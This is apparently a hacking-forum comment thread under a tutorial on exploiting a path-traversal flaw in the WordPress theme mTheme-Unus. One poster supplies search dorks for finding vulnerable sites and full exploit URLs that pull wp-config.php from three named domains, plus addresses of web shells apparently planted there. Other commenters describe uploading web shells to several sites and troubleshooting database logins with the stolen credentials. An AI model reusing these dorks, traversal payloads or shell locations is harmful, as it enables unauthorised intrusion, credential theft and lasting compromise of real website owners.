[ｍＯｂｉＩｅ]

Every time I try this, I can't get into the DB due to it saying that the mySQL request was unaccepted or w/e, and /pma/, /phpmyadmin/, and /phpMyAdmin/ don't exist. :'(

Nice tutorial, though. 👍

Can't find a single site that I can even add /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php to the end of -.-

Btw can't login into a single MySQL database cause it says everytime error... this exploit is useless for me.

Been searching for the theme name
Thanks for the tutorial bro

Not every site is vulnerable to this exploit. You have to find them. There are plenty of sites to exploit. Here's some more dorks to find even more.

Dorks:

PHP Code


<?php 
inurl:?fdx_switcher=desktop
inurl:?fdx_switcher=true
inurl:?fdx_switcher=mobile
inurl:?fdx_switcher= 


And a few demo sites, showing each method used in OP.

Method #1:

PHP Code


<?php 
http://www.alohamortgagesolutions.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


Shell:

PHP Code


<?php 
http://www.alohamortgagesolutions.com/images/bha.php 


Method #2:

PHP Code


<?php 
http://www.wietblog.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


Shell:

PHP Code


<?php 
http://www.wietblog.com/bha.php 


Method #3:

PHP Code


<?php 
http://enviarpostales.net/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


Shell:

PHP Code


<?php 
http://enviarpostales.net/wp-content/themes/twentyfourteen/404.php 


[Crescice]

I always get the error: Can't connect to MySQL server on '(IP HERE)' (4) (2003)

[mcgbg]

thank you man good share :) ...

[vendettalogzz]

I found a couple of vulnerable sites, uploaded the webshell. Only to find myself detected and deleted within a few minutes in about 4 different sites

[Mr. WAVES]

Thank you for this HQ tutorial! I can vouch for it

[itoxiik]

wow great exploit works very well!!! Thanks a lot!!!

[terrence09]

I always get the error: Can't connect to MySQL server on '(IP HERE)' (4) (2003)

same as yours dude ,,, how to connect?

[Kdog]

Very nice tutorial, Thanks! Keep up the good work :)

[Anidektwist]

when i login in the database it always tells me that the user doesn't have permission

[CocoLoLo]

Thanks for the exploits , can i ask you u find the exploit or you read them from another site like exploitsdb etc. ? thanks in advance

[***W0lf***]

Always get this "Error: mysql_connect() failed: Can't connect to MySQL server on "

[Easy987]

Thank you man. You always founding awesome exploits :D

[knightserv]

m̸̛͉̻͖̱̥̐ͥ̀̇̉̐͑ͣ͠0bi13_xT i need a user & pass to login to your toolbox...please....

[MNZK0406]

thanks for giving me all this important tips ! thank you man this will be decreasing my burden a lot ! thanks man ! appreciate !

[Tricks7er]

Haha nice, just like the local file disclosure with the revslider plugin, I made a tutorial on how to use the details of the wp-config to login a while back but keep it up.